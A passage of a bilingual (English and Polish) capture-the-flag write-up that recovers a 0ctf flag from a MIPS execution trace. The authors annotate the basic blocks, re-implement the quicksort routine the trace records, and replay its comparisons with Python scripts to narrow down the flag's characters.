Basic block #24[INFO]00400b48 lw r28, [r30+0x10] // r28 = r30[0x10][INFO]00400b4c move r3, r2 // r3 = r2[INFO]00400b50 addiu r2, r30, 0x30 // r2 = r30 + 0x30[INFO]00400b54 move r4, r2 // r4 = r2 # r2 = buffer start[INFO]00400b58 move r5, r3 // r5 = r3 # r5 = 90 (strlen result)[INFO]00400b5c jal 0x400858 // NIEBIESKA()[INFO]00400b60 move r1, r1
========
Basic block #25[INFO]00400b64 lw r28, [r30+0x10] [INFO]00400b68 addiu r2, r30, 0x30 [INFO]00400b6c move r4, r2 [INFO]00400b70 jal 0x400770 [INFO]00400b74 move r1, r1
========
Basic block #26[INFO]00400b78 lw r28, [r30+0x10] [INFO]00400b7c sw r2, [r30+0x2c] [INFO]00400b80 sw r0, [r30+0x24] [INFO]00400b84 sw r0, [r30+0x28] [INFO]00400b88 j 0x400bd4 [INFO]00400b8c move r1, r1
========
Basic block #27[INFO]00400b90 addiu r3, r30, 0x30 [INFO]00400b94 lw r2, [r30+0x28] [INFO]00400b98 addu r2, r3, r2 [INFO]00400b9c lb r3, [r2+0x0] [INFO]00400ba0 lw r2, [r30+0x28] [INFO]00400ba4 addiu r2, r2, 0x1 [INFO]00400ba8 addiu r4, r30, 0x30 [INFO]00400bac addu r2, r4, r2 [INFO]00400bb0 lb r2, [r2+0x0] [INFO]00400bb4 beq r3, r2, 0x400bc8 [INFO]00400bb8 move r1, r1
========
Basic block #28[INFO]00400bbc lw r2, [r30+0x24] [INFO]00400bc0 addiu r2, r2, 0x1 [INFO]00400bc4 sw r2, [r30+0x24] [INFO]00400bc8 lw r2, [r30+0x28] [INFO]00400bcc addiu r2, r2, 0x1 [INFO]00400bd0 sw r2, [r30+0x28] [INFO]00400bd4 lw r2, [r30+0x2c] [INFO]00400bd8 addiu r3, r2, 0xffffffff [INFO]00400bdc lw r2, [r30+0x28] [INFO]00400be0 slt r2, r2, r3 [INFO]00400be4 bnez r2, 0x400b90 [INFO]00400be8 move r1, r1
========
Basic block #29[INFO]00400bec lw r3, [r30+0x24] [INFO]00400bf0 addiu r2, r0, 0x3f [INFO]00400bf4 beq r3, r2, 0x400c10 [INFO]00400bf8 move r1, r1
========
Basic block #30[INFO]00400c10 addiu r2, r30, 0x30 [INFO]00400c14 move r4, r2 [INFO]00400c18 lw r2, [r28+0xffff8034] [INFO]00400c1c move r25, r2 [INFO]00400c20 jalr r25 [INFO]00400c24 move r1, r1 ```
This code also prints order in which blocks were executed. That allowed us to draw this pretty graph (I allowed myself to color functions):
As you might have noticed, I recognised red and green function immediately (that's only because they were rather obvious) - they were strlen and strcpy respectively.I also analysed what the code is doing at the beginnign (EP is in block 15) - it is creating one big buffer in memory, and appending flag to it.So in the end, we are stuck with following blob in memory:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}[FLAGFLAGFLAGFLAGFLAGFLAG]
And then, blue function is called. Blue function was really complex, so I took liberty to implement it in C:
```cppvoid blue(char *buffer, int buflen) { if (buflen > 1) { int r18 = 1; int r20 = buffer[0]; int r21; for (int r1c = 1; r1c < buflen; r1c++) { if (buffer[r1c] >= r20) { continue; } r21 = buffer[r18]; buffer[r18] = buffer[r1c]; buffer[r1c] = r21; r18 += 1; } r21 = buffer[r18-1]; buffer[r18-1] = buffer[0]; buffer[0] = r21;
blue(buffer, r18-1); blue(buffer+r18, buflen-r18); }}```
If I were not mistaken (and I were not), this function should behave exactly like function that our trace executed.This is some variant of quicksort (I'm not theory-savy enough to know exact variant name, but that couldn't be less relevant in solving this challenge).
So the problem arised - what now? We knew *what* was executed, we knew *how* it executed, how can we get possibly recover flag from that?
The path we went were probably not the easiest, but it worked. So, first we choose important "checkpoints" inside function:
```cppvoid blue(char *buffer, int buflen) { // STARTFX if (buflen > 1) { // STARTMAIN int r18 = 1; int r20 = buffer[0]; int r21; for (int r1c = 1; r1c < buflen /*FOR_CHECK*/; r1c++ /*FOR_INC*/)) { // STARTFOR if (buffer[r1c] >= r20) { // SKIP continue; } // SWAP_18_1C r21 = buffer[r18]; buffer[r18] = buffer[r1c]; buffer[r1c] = r21; r18 += 1; // ENDFOR } // AFTERFOR r21 = buffer[r18-1]; buffer[r18-1] = buffer[0]; buffer[0] = r21;
blue(buffer, r18-1); blue(buffer+r18, buflen-r18); // ENDMAIN } // ENDFX}```
Than we processed trace.log once again, but looking only at "checkpoints"
```pythondata = open('log').read().split('\n')
for line in data: if '[INFO]00400858' in line: print 'STARTFX' if '[INFO]00400888' in line: print 'STARTMAIN' if '[INFO]004008ac' in line: print 'STARTFOR' if '[INFO]004008cc' in line: print 'SWAP_18_1C' if '[INFO]00400920' in line: print 'FOR_INC' if '[INFO]0040092c' in line: print 'FOR_CHECK' if '[INFO]00400940' in line: print 'AFTERFOR' if '[INFO]004009bc' in line: print 'ENDMAIN'```
And finally, we hacked (ugly!) script to "follow" log, and do exactly as it told us:
```pythonlog = [x.strip() for x in open('calllog').read().split('\n')]
known = [] # known "facts" about characters in flag
def process(log, il, state): if log[il] != 'STARTFX': raise 'error' il += 1 if len(state) > 1: if log[il] != 'STARTMAIN': raise 'error' il += 1 r18 = 1 for r1c in range(1, len(state)+1): if log[il] != 'FOR_CHECK': raise 'error' il += 1 if r1c == len(state): break if log[il] == 'AFTERFOR': break if log[il] != 'STARTFOR': raise 'error' il += 1 if log[il] == 'SWAP_18_1C': # we are in 'swap' branch, so buffer[r1c] < state[0] known.append([state[r1c], '<', state[0]]) il += 1 state[r1c], state[r18] = state[r18], state[r1c] r18 += 1 else: # we are /not/ in 'swap' branch, so buffer[1rc] >= state[0] known.append([state[0], '<=', state[r1c]]) if log[il] != 'FOR_INC': print il raise 'error' il += 1 if log[il] != 'AFTERFOR': print il, log[il] raise 'error' il += 1 state[r18-1], state[0] = state[0], state[r18-1]
il, state[:r18-1] = process(log, il, state[:r18-1]) il, state[r18:] = process(log, il, state[r18:]) if log[il] != 'ENDMAIN': raise 'error' il += 1 return il, state
# stars (*) are placeholders for unknown charactersstate = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}0ctf{********************}')
# replace stars with integers (0 - first unknown, 1 - second unknown, etc)j = 0for i in range(len(state)): if state[i] == '*': state[i] = j j += 1vars = jprocess(log, 0, state) # processprint state```
Miraculously, that worked. After running that code we were presented with:
['0', '0', 14, 6, '1', 2, '2', '3', 3, '4', 18, 13, '5', 12, 4, 8, '6', 11, '7', '8', 16, '9', 10, 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'c', 'd', 'e', 'f', 'f', 'g', 'h', 'i', 'j', 7, 'k', 17, 9, 'l', 'm', 5, 'n', 'o', 'p', 'q', 19, 1, 'r', 15, 's', 't', 0, 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '{', '}', '}']
If everything worked fine, that should be array after being sorted by algorithm - and everything looked fine.That meant that, for example, judging by their position in sorted array, 14-th and 6-th variable were between'0' and '1' (characters) - so they could be either '0' character or '1' character.
Unfortunately, that was not enough (almost every character had 2 possible values).
But wait, that's more - we know results of comparing variables to other characters - can we use that knowledge to improve ourguesses? It turns out that we can (with even uglier script):
```pythonres = {}for i in range(len(state)): if not isinstance(state[i], basestring): j = i while not isinstance(state[j], basestring): j -= 1 k = i while not isinstance(state[k], basestring): k += 1 res[state[i]] = [state[j], state[k]]
print res
for iteration in range(10): possible = [] for i in range(vars): mn, mx = res[i] for less, op, gtr in known: if not isinstance(gtr, basestring) and not isinstance(less, basestring): continue if op == '<': if less == i: # 1 < 'z' if mx >= gtr: mx = chr(ord(gtr)-1) if gtr == i: # 'z' < 1 if mn <= less: mn = chr(ord(less)+1) if op == '<=': if less == i: # 1 <= 'z' if mx >= gtr: mx = gtr if gtr == i: # 'z' <= 1 if mn <= less: mn = less res[i] = [mn, mx] if mn == mx: for xxx in known: if xxx[0] == i: xxx[0] = mn if xxx[2] == i: xxx[2] = mn else: pass #possible.append([mn, mx])
for i in range(vars): print res[i]```
And result of running that hellish script is (each line represents minimal and maximal possible value for character):
['t', 't'] ['r', 'r'] ['1', '1'] ['3', '3'] ['5', '5'] ['m', 'm'] ['1', '1'] ['k', 'k'] ['5', '5'] ['l', 'l'] ['9', 'A'] ['6', '6'] ['5', '5'] ['5', '5'] ['1', '1'] ['r', 's'] ['9', '9'] ['l', 'l'] ['5', '5'] ['r', 'r']
That left us with only 4 possibilities (2 characters had 2 possible values each, rest was uniquely determined):
We just bruteforced that 4 possible flags, and finally got our well-deserved 4 points.We really did a lot of hard work when solving this challenge, it's probable that this was NOT the easiest way.
If I remember correctly, correct flag from 4 possible values were `0ctf{tr135m1k5l96551s9l5r}`.
###PL version
Dostajemy długi trace wykonania (lista opkodów wykonywanych po kolei przez procesor) i chcemy z niego wyciagnąć flagę.
Brzmi zabawnie, bo i było to ciekawe zadanie. Na początku nie wiadomo w ogóle skąd mielibyśmy wziąć tą flagę, skoro w tracelogu nie ma żadnych danych (tylko opcody).
Zaczeliśmy od doprowadzenia call loga do sensownego stanu. Na dobry początek, posortowaliśmy go (żeby uzyskać faktyczny kod programu który był wykonywany):
sort trace.log | uniq > prog
Następnie napisaliśmy na szybko skrypt do przetworzenia tego kodu i podzielenia go na bloki:
```pythonimport string
blocks=[[]]blockno={}
def is_final(ins): FINAL="move r1, r1" return string.find(ins, FINAL)!=-1
for line in open("prog").read().split("\n")[:-1]: blocks[-1].append(line) blockno[line]=len(blocks)-1 if is_final(line): blocks.append([])blocks=blocks[:-1]
f=open("basic_blocks","w")for cnt, block in enumerate(blocks): f.write("Basic block #"+str(cnt)+"\n") for line in block: f.write(line+"\n") f.write("\n========\n\n")f.close()
bb=[]next_check=Truefor line in open("log").read().split("\n")[:-1]: if is_final(line): next_check=True continue if next_check: next_check=False bb.append(blockno[line])
print bb```
Wynik wykonania tego kodu (razem z moimi ręcznymi anotacjami dodanymi później, nie ma sensu odkładać ich na później)
```asm// function red() - strlenBasic block #0[INFO]00400770 addiu r29, r29, 0xffffffe8 // r29 -= 18[INFO]00400774 sw r30, [r29+0x14] // r30 = r29[0x14][INFO]00400778 move r30, r29 // r30 = r29[INFO]0040077c sw r4, [r30+0x18] // r4 = r30[0x18][INFO]00400780 sw r0, [r30+0x8] // r0 = r30[8]
// block 0x400784[INFO]00400784 lw r2, [r30+0x8] // r2 = r30[8][INFO]00400788 lw r3, [r30+0x18] // r3 = r30[0x18][INFO]0040078c addu r2, r3, r2 // r2 += r3[INFO]00400790 lb r2, [r2+0x0] // r2 = r2[0][INFO]00400794 bnez r2, 0x4007a8 // if (r2 != 0) goto BLOCK_2
========
Basic block #1[INFO]0040079c lw r2, [r30+0x8] // r2 = r30[8][INFO]004007a0 j 0x4007bc // goto BLOCK_3
========
Basic block #2[INFO]004007a8 lw r2, [r30+0x8] // r2 = r30[8][INFO]004007ac addiu r2, r2, 0x1 // r2 += 1[INFO]004007b0 sw r2, [r30+0x8] // r30[8] = r2[INFO]004007b4 j 0x400784 // goto 0x400784
========
Basic block #3[INFO]004007bc move r29, r30 // r29 = r30[INFO]004007c0 lw r30, [r29+0x14] // r30 = r29[0x14][INFO]004007c4 addiu r29, r29, 0x18 // r29 += 18[INFO]004007c8 jr r31 // ret
========
// function green() - strcpyBasic block #4[INFO]004007d0 addiu r29, r29, 0xffffffe8 // r29 -= 18[INFO]004007d4 sw r30, [r29+0x14] // r29[0x14] = r30[INFO]004007d8 move r30, r29 // r30 = r29[INFO]004007dc sw r4, [r30+0x18] // r30[0x18] = r4[INFO]004007e0 sw r5, [r30+0x1c] // r30[0x1c] = r5[INFO]004007e4 sw r0, [r30+0x8] // r30[8] = r0[INFO]004007e8 j 0x40081c // goto 0x40081c
========
Basic block #5[INFO]004007f0 lw r2, [r30+0x8] // r2 = r30[8][INFO]004007f4 lw r3, [r30+0x18] // r3 = r30[0x18][INFO]004007f8 addu r2, r3, r2 // r2 += r3[INFO]004007fc lw r3, [r30+0x8] // r3 = r30[8][INFO]00400800 lw r4, [r30+0x1c] // r4 = r30[0x1c][INFO]00400804 addu r3, r4, r3 // r3 += r4[INFO]00400808 lb r3, [r3+0x0] // r3 = r3[0][INFO]0040080c sb r3, [r2+0x0] // r2[0] = r3[INFO]00400810 lw r2, [r30+0x8] // r2 = r30[8][INFO]00400814 addiu r2, r2, 0x1 // r2 += 1[INFO]00400818 sw r2, [r30+0x8] // r30[8] = r2
// block 0x40081c[INFO]0040081c lw r2, [r30+0x8] // r2 = r30[8][INFO]00400820 lw r3, [r30+0x1c] // r3 = r30[0x1c][INFO]00400824 addu r2, r3, r2 // r2 += r3[INFO]00400828 lb r2, [r2+0x0] // r2 = r2[0][INFO]0040082c bnez r2, 0x4007f0 // if r2 != 0: goto BLOCK_5
========
Basic block #6[INFO]00400834 lw r2, [r30+0x8] // r2 = r30[8][INFO]00400838 lw r3, [r30+0x18] // r3 = r30[0x18][INFO]0040083c addu r2, r3, r2 // r2 += r3[INFO]00400840 sb r0, [r2+0x0] // r2[0] = r0[INFO]00400844 move r29, r30 // r29 = r30[INFO]00400848 lw r30, [r29+0x14] // r30 = r29[0x14] [INFO]0040084c addiu r29, r29, 0x18 // r29 += 18[INFO]00400850 jr r31 // ret
========
// function blue()Basic block #7[INFO]00400858 addiu r29, r29, 0xffffffd0 [INFO]0040085c sw r31, [r29+0x2c] [INFO]00400860 sw r30, [r29+0x28] [INFO]00400864 move r30, r29 [INFO]00400868 sw r4, [r30+0x30] // r30[0x30] = r4 # buffer start[INFO]0040086c sw r5, [r30+0x34] // r30[0x34] = r5 # length[INFO]00400870 lw r2, [r30+0x34] // r2 = r30[0x34][INFO]00400874 slti r2, r2, 0x2 // r2 = (r2 < 2)[INFO]00400878 beqz r2, 0x400888 // if (r2 == 0) goto BLOCK_9 # if length >= 2 continue
========
Basic block #8[INFO]00400880 j 0x4009bc // goto exitfunc (BLOCK_14)
========
Basic block #9[INFO]00400888 lw r2, [r30+0x30] // r2 = r30[0x30][INFO]0040088c lbu r2, [r2+0x0] // r2 = r2[0] # first byte of buffer[INFO]00400890 sb r2, [r30+0x20] // r30[0x20] = r2[INFO]00400894 addiu r2, r0, 0x1 // r2 = 1[INFO]00400898 sw r2, [r30+0x18] // r30[0x18] = r2[INFO]0040089c addiu r2, r0, 0x1 // r2 = 1[INFO]004008a0 sw r2, [r30+0x1c] // r30[0x1c] = r2[INFO]004008a4 j 0x40092c // goto unnamed block
========
Basic block #10[INFO]004008ac lw r2, [r30+0x1c] // r2 = r30[0x1c] # indeks[INFO]004008b0 lw r3, [r30+0x30] // r3 = r30[0x30] # start buffera[INFO]004008b4 addu r2, r3, r2 // r2 += r3[INFO]004008b8 lb r2, [r2+0x0] // r2 = r2[0] # next character[INFO]004008bc lb r3, [r30+0x20] // r3 = r30[0x20] # first byte of buffer[INFO]004008c0 slt r2, r2, r3 // r2 = (r2 < r3)[INFO]004008c4 beqz r2, 0x400920 // if r2 != 0 goto unnamed block # if (r2 >= r3)
========
Basic block #11[INFO]004008cc lw r2, [r30+0x18] // r2 = r30[0x18] # counter18[INFO]004008d0 lw r3, [r30+0x30] // r3 = r30[0x30] # start of buffer[INFO]004008d4 addu r2, r3, r2 // r2 += r3[INFO]004008d8 lbu r2, [r2+0x0] // r2 = r2[0] # take byte from buffer[counter18][INFO]004008dc sb r2, [r30+0x21] // r30[0x21] = r2[INFO]004008e0 lw r2, [r30+0x18] // r2 = r30[0x18][INFO]004008e4 lw r3, [r30+0x30] // r3 = r30[0x30] # adress buffer[INFO]004008e8 addu r2, r3, r2 // r2 += r3[INFO]004008ec lw r3, [r30+0x1c] // r3 = r30[0x1c] # counter1c[INFO]004008f0 lw r4, [r30+0x30] // r4 = r30[0x30] # adress buffer[INFO]004008f4 addu r3, r4, r3 // r3 += r4[INFO]004008f8 lb r3, [r3+0x0] // r3 = r3[0] # buffer[counter1c][INFO]004008fc sb r3, [r2+0x0] // r2[0] = r3 # buffer[counter18] = buffer[counter1c][INFO]00400900 lw r2, [r30+0x1c] // r2 = r30[0x1c][INFO]00400904 lw r3, [r30+0x30] // r3 = r30[0x30][INFO]00400908 addu r2, r3, r2 // r2 += r3 # adress buffer[counter1c][INFO]0040090c lbu r3, [r30+0x21] // r3 = r30[0x21][INFO]00400910 sb r3, [r2+0x0] // r2[0] = r3[INFO]00400914 lw r2, [r30+0x18] // \[INFO]00400918 addiu r2, r2, 0x1 // r30[r18] += 1[INFO]0040091c sw r2, [r30+0x18] // /
// block[INFO]00400920 lw r2, [r30+0x1c] // \[INFO]00400924 addiu r2, r2, 0x1 // r30[r1c] += 1[INFO]00400928 sw r2, [r30+0x1c] // /
// block[INFO]0040092c lw r3, [r30+0x1c] // r3 = r30[0x1c] # some index (indeks1c)[INFO]00400930 lw r2, [r30+0x34] // r2 = r30[0x34] # length[INFO]00400934 slt r2, r3, r2 // r2 = (r3 < r2)[INFO]00400938 bnez r2, 0x4008ac // if index is not longer than lengrth, jump to BLOCK_10
========
Basic block #12[INFO]00400940 lw r2, [r30+0x18] // l2 = r30[0x18] # indeks2 (indeks18)[INFO]00400944 addiu r2, r2, 0xffffffff // r2 -= 1[INFO]00400948 lw r3, [r30+0x30] // r3 = r30[0x30][INFO]0040094c addu r2, r3, r2 [INFO]00400950 lbu r2, [r2+0x0] // r2 = buffer[r18 - 1][INFO]00400954 sb r2, [r30+0x21] // r30[0x21] = r2[INFO]00400958 lw r2, [r30+0x18] [INFO]0040095c addiu r2, r2, 0xffffffff // r2 = r30[0x18] - 1[INFO]00400960 lw r3, [r30+0x30] [INFO]00400964 addu r2, r3, r2 // r2 = &buffer[r2][INFO]00400968 lw r3, [r30+0x30][INFO]0040096c lb r3, [r3+0x0] // r3 = buffer[0] [INFO]00400970 sb r3, [r2+0x0] // buffer[r18-1] = buffer[0][INFO]00400974 lw r2, [r30+0x30] [INFO]00400978 lbu r3, [r30+0x21] [INFO]0040097c sb r3, [r2+0x0] // buffer[0] = r30[r21];[INFO]00400980 lw r2, [r30+0x18] [INFO]00400984 addiu r2, r2, 0xffffffff // r2 -= 1[INFO]00400988 lw r4, [r30+0x30] [INFO]0040098c move r5, r2 // r5 = r2[INFO]00400990 jal 0x400858 // call blue()
========
Basic block #13[INFO]00400998 lw r2, [r30+0x18][INFO]0040099c lw r3, [r30+0x30] [INFO]004009a0 addu r4, r3, r2 // r4 = &buffer[r18] [INFO]004009a4 lw r3, [r30+0x34] [INFO]004009a8 lw r2, [r30+0x18] [INFO]004009ac subu r2, r3, r2 // r2 = buflen - r18[INFO]004009b0 move r5, r2 // r5 = r2[INFO]004009b4 jal 0x400858 // call blue()
========
Basic block #14[INFO]004009bc move r29, r30 // exit func[INFO]004009c0 lw r31, [r29+0x2c] // r31 = r29[0x2c][INFO]004009c4 lw r30, [r29+0x28] // r39 = r29[0x28][INFO]004009c8 addiu r29, r29, 0x30 // r29 += 0x30[INFO]004009cc jr r31 // ret
========
// main()Basic block #15[INFO]004009d4 addiu r29, r29, 0xfffffec8 [INFO]004009d8 sw r31, [r29+0x134] [INFO]004009dc sw r30, [r29+0x130] [INFO]004009e0 move r30, r29 [INFO]004009e4 lui r28, 0x42 [INFO]004009e8 addiu r28, r28, 0xffff8eb0 [INFO]004009ec sw r28, [r29+0x10][INFO]004009f0 lui r2, 0x41 [INFO]004009f4 lw r2, [r2+0xea0] [INFO]004009f8 move r4, r2 // r4 = FLAG [INFO]004009fc jal 0x400770 // strlen(FLAG)[INFO]00400a00 move r1, r1
========
Basic block #16[INFO]00400a04 lw r28, [r30+0x10] // r28 = r30[0x10][INFO]00400a08 sw r2, [r30+0x2c] // r30[0x2c] = r2 (result of strlen)[INFO]00400a0c sw r0, [r30+0x18] // r30[0x18] = 0[INFO]00400a10 j 0x400a4c [INFO]00400a14 move r1, r1
========
Basic block #17 - compute something funny, looks like abcdefghi... array[INFO]00400a18 lw r2, [r30+0x18] // r2 = r30[0x18] [INFO]00400a1c andi r2, r2, 0xff // r2 &= 0xFF[INFO]00400a20 addiu r2, r2, 0x61 // r2 += 0x61 # += 'a'[INFO]00400a24 andi r2, r2, 0xff // r2 &= 0xFF[INFO]00400a28 sll r3, r2, 0x18 // r3 = r2 << 0x18[INFO]00400a2c sra r3, r3, 0x18 // r3 = r3 >> 0x18[INFO]00400a30 addiu r4, r30, 0x30 // r4 = r30 + 0x30[INFO]00400a34 lw r2, [r30+0x18] // r2 = r30[0x18] # indekx[INFO]00400a38 addu r2, r4, r2 // r2 += r4 # bufer[index]?[INFO]00400a3c sb r3, [r2+0x0] // r2[0] = r3[INFO]00400a40 lw r2, [r30+0x18] // \[INFO]00400a44 addiu r2, r2, 0x1 // r30[0x18] += 1[INFO]00400a48 sw r2, [r30+0x18] // /
// block[INFO]00400a4c lw r2, [r30+0x18] // r2 = r30[0x18] (starting with 00[INFO]00400a50 slti r2, r2, 0x1a // while r2 < 0x1a, so string length[INFO]00400a54 bnez r2, 0x400a18
========
Basic block #18[INFO]00400a5c sw r0, [r30+0x1c] // r30[0x1c] = 0[INFO]00400a60 j 0x400aa0 // goto ...
========
Basic block #19[INFO]00400a68 lw r2, [r30+0x1c] // r2 = r30[0x1c] # offset in buffer?[INFO]00400a6c addiu r2, r2, 0x1a // r2 += 0x1a[INFO]00400a70 lw r3, [r30+0x1c] // r30 = r30[0x1c] # index[INFO]00400a74 andi r3, r3, 0xff // r3 &= 0xFF[INFO]00400a78 addiu r3, r3, 0x41 // r3 += 0x41 # 'A'[INFO]00400a7c andi r3, r3, 0xff // r3 &= 0xFF[INFO]00400a80 sll r3, r3, 0x18 // r3 <<= 0x18[INFO]00400a84 sra r3, r3, 0x18 // r3 >>= 0x18[INFO]00400a88 addiu r4, r30, 0x30 // r4 = r30 + 0x30 # another buffer?[INFO]00400a8c addu r2, r4, r2 // r2 += r4 # buffer[index]?[INFO]00400a90 sb r3, [r2+0x0] // r2[0] = r3[INFO]00400a94 lw r2, [r30+0x1c] // \[INFO]00400a98 addiu r2, r2, 0x1 // r30[0x1c] += 1[INFO]00400a9c sw r2, [r30+0x1c] // /[INFO]00400aa0 lw r2, [r30+0x1c] // stupid compiler
// block[INFO]00400aa4 slti r2, r2, 0x1a // loop 26 times[INFO]00400aa8 bnez r2, 0x400a68
========
Basic block #20[INFO]00400ab0 sw r0, [r30+0x20] // r30[0x20] = 0[INFO]00400ab4 j 0x400af4 [INFO]00400ab8 move r1, r1
========
Basic block #21[INFO]00400abc lw r2, [r30+0x20] //[INFO]00400ac0 addiu r2, r2, 0x34 // offset in buffer[INFO]00400ac4 lw r3, [r30+0x20] //[INFO]00400ac8 andi r3, r3, 0xff //[INFO]00400acc addiu r3, r3, 0x30 //[INFO]00400ad0 andi r3, r3, 0xff //[INFO]00400ad4 sll r3, r3, 0x18 //[INFO]00400ad8 sra r3, r3, 0x18 //[INFO]00400adc addiu r4, r30, 0x30 // create buffer filled with 012345...[INFO]00400ae0 addu r2, r4, r2 //[INFO]00400ae4 sb r3, [r2+0x0] //[INFO]00400ae8 lw r2, [r30+0x20] //[INFO]00400aec addiu r2, r2, 0x1 //[INFO]00400af0 sw r2, [r30+0x20] //[INFO]00400af4 lw r2, [r30+0x20] //[INFO]00400af8 slti r2, r2, 0xa //[INFO]00400afc bnez r2, 0x400abc //
========
Basic block #22[INFO]00400b04 addiu r2, r0, 0x7b // r2 = 0x7b # {[INFO]00400b08 sb r2, [r30+0x6e] // r30[0x6e] = r2[INFO]00400b0c addiu r2, r0, 0x7d // r2 = 0x7d # }[INFO]00400b10 sb r2, [r30+0x6f] // r30[0x6f] = r2[INFO]00400b14 lui r2, 0x41 // r2 = 0x41[INFO]00400b18 lw r3, [r2+0xea0] // r3 = &FLAG[INFO]00400b1c addiu r2, r30, 0x30 // r2 = r30 + 0x30 - start of buffer[INFO]00400b20 addiu r2, r2, 0x40 // r2 += 0x40 - 40 byte offset[INFO]00400b24 move r4, r2 // r4 = r2 - copy there[INFO]00400b28 move r5, r3 // r5 = r3 - flag[INFO]00400b2c jal 0x4007d0 // strcpy()
========
Basic block #23[INFO]00400b34 lw r28, [r30+0x10] // r28 = r30[0x10][INFO]00400b38 addiu r2, r30, 0x30 // r2 = r30 + 0x30[INFO]00400b3c move r4, r2 // r4 = r2[INFO]00400b40 jal 0x400770 // strlen() # wychodzi 90
========
Basic block #24[INFO]00400b48 lw r28, [r30+0x10] // r28 = r30[0x10][INFO]00400b4c move r3, r2 // r3 = r2[INFO]00400b50 addiu r2, r30, 0x30 // r2 = r30 + 0x30[INFO]00400b54 move r4, r2 // r4 = r2 # r2 = buffer start[INFO]00400b58 move r5, r3 // r5 = r3 # r5 = 90 (strlen result)[INFO]00400b5c jal 0x400858 // NIEBIESKA()[INFO]00400b60 move r1, r1
========
Basic block #25[INFO]00400b64 lw r28, [r30+0x10] [INFO]00400b68 addiu r2, r30, 0x30 [INFO]00400b6c move r4, r2 [INFO]00400b70 jal 0x400770 [INFO]00400b74 move r1, r1
========
Basic block #26[INFO]00400b78 lw r28, [r30+0x10] [INFO]00400b7c sw r2, [r30+0x2c] [INFO]00400b80 sw r0, [r30+0x24] [INFO]00400b84 sw r0, [r30+0x28] [INFO]00400b88 j 0x400bd4 [INFO]00400b8c move r1, r1
========
Basic block #27[INFO]00400b90 addiu r3, r30, 0x30 [INFO]00400b94 lw r2, [r30+0x28] [INFO]00400b98 addu r2, r3, r2 [INFO]00400b9c lb r3, [r2+0x0] [INFO]00400ba0 lw r2, [r30+0x28] [INFO]00400ba4 addiu r2, r2, 0x1 [INFO]00400ba8 addiu r4, r30, 0x30 [INFO]00400bac addu r2, r4, r2 [INFO]00400bb0 lb r2, [r2+0x0] [INFO]00400bb4 beq r3, r2, 0x400bc8 [INFO]00400bb8 move r1, r1
========
Basic block #28[INFO]00400bbc lw r2, [r30+0x24] [INFO]00400bc0 addiu r2, r2, 0x1 [INFO]00400bc4 sw r2, [r30+0x24] [INFO]00400bc8 lw r2, [r30+0x28] [INFO]00400bcc addiu r2, r2, 0x1 [INFO]00400bd0 sw r2, [r30+0x28] [INFO]00400bd4 lw r2, [r30+0x2c] [INFO]00400bd8 addiu r3, r2, 0xffffffff [INFO]00400bdc lw r2, [r30+0x28] [INFO]00400be0 slt r2, r2, r3 [INFO]00400be4 bnez r2, 0x400b90 [INFO]00400be8 move r1, r1
========
Basic block #29[INFO]00400bec lw r3, [r30+0x24] [INFO]00400bf0 addiu r2, r0, 0x3f [INFO]00400bf4 beq r3, r2, 0x400c10 [INFO]00400bf8 move r1, r1
========
Basic block #30[INFO]00400c10 addiu r2, r30, 0x30 [INFO]00400c14 move r4, r2 [INFO]00400c18 lw r2, [r28+0xffff8034] [INFO]00400c1c move r25, r2 [INFO]00400c20 jalr r25 [INFO]00400c24 move r1, r1 ```
Ten skrypt wypisał też kolejność w której bloki zostały wykonane. To pozwoliło nam narysować ten piękny graf (pokolorowałem w nim funkcje):
Zielona i czerwona funkcja były łatwe do rozpoznania - to były odpowiednio strcpy i strlen.Przeanalizowałem też kod na początku - tworzy on duży bufor w pamięci, i dokleja do niego flagę.Więc na końcu jesteśmy z takim blobem w pamięci:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}[FLAGFLAGFLAGFLAGFLAGFLAG]
A następnie wywoływana na nim jest niebieska funkcja. Jest ona dużo bardziej skomplikonwaa od poprzednich, więc zaimplementowałem ją w C:
```cppvoid blue(char *buffer, int buflen) { if (buflen > 1) { int r18 = 1; int r20 = buffer[0]; int r21; for (int r1c = 1; r1c < buflen; r1c++) { if (buffer[r1c] >= r20) { continue; } r21 = buffer[r18]; buffer[r18] = buffer[r1c]; buffer[r1c] = r21; r18 += 1; } r21 = buffer[r18-1]; buffer[r18-1] = buffer[0]; buffer[0] = r21;
blue(buffer, r18-1); blue(buffer+r18, buflen-r18); }}```
Jeśli się nie myliłem (i nie myliłem się), ta funkcja powinna zachowywać się dokładnie tak jak fukcja z której otrzymaliśmy tracelog.To jakaś wariacja quicksortu, swoją drogą (nie wiem jaka dokładnie, nie ma to znaczenia przy rozwiązywaniu zadania).
Więc powstał problem - co teraz? Wiedzieliśmy co było wykonane, wiedzieliśmy jak było wykonane, jak możemy z tego odzyskać flagę?
Poszliśmy prawdopodobnie bardzo okrężną drogą, ale ważne że zadziałało ostatecznie. Najpierw postanowiliśmy zaznaczyć 'checkpointy' w funkcji:
```cppvoid blue(char *buffer, int buflen) { // STARTFX if (buflen > 1) { // STARTMAIN int r18 = 1; int r20 = buffer[0]; int r21; for (int r1c = 1; r1c < buflen /*FOR_CHECK*/; r1c++ /*FOR_INC*/)) { // STARTFOR if (buffer[r1c] >= r20) { // SKIP continue; } // SWAP_18_1C r21 = buffer[r18]; buffer[r18] = buffer[r1c]; buffer[r1c] = r21; r18 += 1; // ENDFOR } // AFTERFOR r21 = buffer[r18-1]; buffer[r18-1] = buffer[0]; buffer[0] = r21;
blue(buffer, r18-1); blue(buffer+r18, buflen-r18); // ENDMAIN } // ENDFX}```
Następnie przetworzyliśmy trace.log patrząc tylko na checkpointy:
```pythondata = open('log').read().split('\n')
for line in data: if '[INFO]00400858' in line: print 'STARTFX' if '[INFO]00400888' in line: print 'STARTMAIN' if '[INFO]004008ac' in line: print 'STARTFOR' if '[INFO]004008cc' in line: print 'SWAP_18_1C' if '[INFO]00400920' in line: print 'FOR_INC' if '[INFO]0040092c' in line: print 'FOR_CHECK' if '[INFO]00400940' in line: print 'AFTERFOR' if '[INFO]004009bc' in line: print 'ENDMAIN'```
